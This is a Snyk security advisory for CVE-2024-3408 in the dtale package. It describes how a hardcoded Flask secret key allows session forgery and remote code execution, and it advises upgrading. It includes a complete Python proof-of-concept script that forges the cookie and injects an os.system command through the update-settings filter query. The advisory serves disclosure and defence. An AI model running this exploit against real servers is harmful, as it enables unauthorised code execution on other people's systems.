Improper Input Validation Affecting dtale package, versions [,3.13.1)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.13% (50th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Input Validation vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PYTHON-DTALE-7218838
  • published7 Jun 2024
  • disclosed6 Jun 2024
  • creditozelis

Introduced: 6 Jun 2024

CVE-2024-3408  (opens in a new tab)
CWE-20  (opens in a new tab)

How to fix?

Upgrade dtale to version 3.13.1 or higher.

Overview

dtale is a Web Client for Visualizing Pandas Objects

Affected versions of this package are vulnerable to Improper Input Validation due to the use of a hardcoded SECRET_KEY in the flask configuration and improper restriction of custom filter queries. An attacker can forge a session cookie and execute arbitrary code on the server by bypassing the authentication mechanisms and exploiting the /update-settings endpoint, even when enable_custom_filters is not enabled.

Note:

This vulnerability can be exploited only if authentication is enabled.

PoC

import json, hashlib
from argparse import ArgumentParser
from urllib.parse import quote

# https://pypi.org/project/requests
from requests import Session # pip install requests

# https://pypi.org/project/itsdangerous/
from itsdangerous import URLSafeTimedSerializer # pip install itsdangerous

if __name__ == "__main__":
    parser = ArgumentParser()
    parser.add_argument("--url", default="http://localhost:40000")
    parser.add_argument("--cmd", default="touch /tmp/touched_by_rce")
    args = parser.parse_args()

    url_base = args.url + "/dtale"
    cmd = args.cmd

    # forge a cookie in case there was authentication enabled:
    signer_kwargs = { "key_derivation" : "hmac", "digest_method" : staticmethod(hashlib.sha1) }
    ser = URLSafeTimedSerializer("Dtale", salt="cookie-session", signer_kwargs=signer_kwargs)
    session = ser.dumps({"logged_in" : True, "username" : "whatever"})
    print(f"{session = }")

    with Session() as s:
        s.cookies["session"] = session

        # create any pandas DataFrame:
        rsp = s.post(f"{url_base}/upload", files={
            "poc.csv" : ("poc.csv", b"A,B\n1,1\n", "text/csv")
        })
        assert rsp.json()["success"]

        # grab data_id:
        data_id = rsp.json()["data_id"]
        print(f"{data_id = }")

        # update settings for this data_id and set filter query directly bypassing
        # any checks:
        settings = {"query": f'@pd.core.frame.com.builtins.__import__("os").system("""{cmd} #""")'}
        settings = quote(json.dumps(settings))
        rsp = s.get(f"{url_base}/update-settings/{data_id}?settings={settings}")
        assert rsp.json()["success"]

        # call any of the endpoints that trigger `run_query()`:
        rsp = s.get(f"{url_base}/edit-cell/{data_id}")

        # this will return some error as a response, but command was executed anyway
        print(rsp.text)

CVSS Scores

version 3.1